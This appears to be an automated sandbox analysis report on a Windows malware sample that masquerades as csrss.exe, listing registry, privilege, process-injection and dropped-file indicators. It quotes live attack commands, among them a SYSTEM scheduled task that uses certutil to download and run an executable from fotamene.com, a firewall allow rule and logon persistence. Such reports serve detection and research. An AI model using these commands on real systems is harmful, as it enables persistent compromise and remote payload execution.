631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exepid process 1672 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.execsrss.exedescription pid process Token: SeDebugPrivilege 1672 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Token: SeImpersonatePrivilege 1672 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Token: SeSystemEnvironmentPrivilege 1760 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.execmd.exedescription pid process target process PID 520 wrote to memory of 328 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe cmd.exe PID 520 wrote to memory of 328 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe cmd.exe PID 520 wrote to memory of 328 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe cmd.exe PID 520 wrote to memory of 328 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe cmd.exe PID 328 wrote to memory of 1480 328 cmd.exe netsh.exe PID 328 wrote to memory of 1480 328 cmd.exe netsh.exe PID 328 wrote to memory of 1480 328 cmd.exe netsh.exe PID 520 wrote to memory of 1760 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe csrss.exe PID 520 wrote to memory of 1760 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe csrss.exe PID 520 wrote to memory of 1760 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe csrss.exe PID 520 wrote to memory of 1760 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe"C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe"C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220625051853.log C:\Windows\Logs\CBS\CbsPersist_20220625051853.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5a304fcc7873a037dbaa4750a2708b886
SHA1527abe28f3bf912694ba2c73c496783faf306fc8
SHA2563a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696
SHA51285e6bf852732c47bf5de9720742d14ca768a9e79494929153c61d806fc0730b2bfb23a62a84125e9951574830460f504d7631bad5aa5bec243d2428d3b2031bd
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.9MB
MD5a304fcc7873a037dbaa4750a2708b886
SHA1527abe28f3bf912694ba2c73c496783faf306fc8
SHA2563a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696
SHA51285e6bf852732c47bf5de9720742d14ca768a9e79494929153c61d806fc0730b2bfb23a62a84125e9951574830460f504d7631bad5aa5bec243d2428d3b2031bd
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\Windows\rss\csrss.exeFilesize
3.9MB
MD5a304fcc7873a037dbaa4750a2708b886
SHA1527abe28f3bf912694ba2c73c496783faf306fc8
SHA2563a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696
SHA51285e6bf852732c47bf5de9720742d14ca768a9e79494929153c61d806fc0730b2bfb23a62a84125e9951574830460f504d7631bad5aa5bec243d2428d3b2031bd
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memory/328-61-0x0000000000000000-mapping.dmp
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memory/520-65-0x0000000000400000-0x0000000000C2E000-memory.dmpFilesize
8.2MB
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memory/520-64-0x0000000002640000-0x00000000029E8000-memory.dmpFilesize
3.7MB
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memory/520-71-0x0000000000400000-0x0000000000C2E000-memory.dmpFilesize
8.2MB
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memory/520-58-0x0000000002640000-0x00000000029E8000-memory.dmpFilesize
3.7MB
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memory/1264-78-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1264-77-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1264-84-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1480-63-0x000007FEFC5C1000-0x000007FEFC5C3000-memory.dmpFilesize
8KB
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memory/1480-62-0x0000000000000000-mapping.dmp
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memory/1672-59-0x0000000002920000-0x0000000003124000-memory.dmpFilesize
8.0MB
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memory/1672-55-0x0000000002570000-0x0000000002918000-memory.dmpFilesize
3.7MB
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memory/1672-56-0x0000000002920000-0x0000000003124000-memory.dmpFilesize
8.0MB
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memory/1672-57-0x0000000000400000-0x0000000000C2E000-memory.dmpFilesize
8.2MB
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memory/1672-54-0x0000000002570000-0x0000000002918000-memory.dmpFilesize
3.7MB
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memory/1672-60-0x0000000000400000-0x0000000000C2E000-memory.dmpFilesize
8.2MB
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memory/1760-70-0x0000000002400000-0x00000000027A8000-memory.dmpFilesize
3.7MB
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memory/1760-68-0x0000000000000000-mapping.dmp
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memory/1760-73-0x0000000000400000-0x0000000000C2E000-memory.dmpFilesize
8.2MB
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memory/1760-72-0x0000000002400000-0x00000000027A8000-memory.dmpFilesize
3.7MB
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memory/1760-74-0x0000000000400000-0x0000000000C2E000-memory.dmpFilesize
8.2MB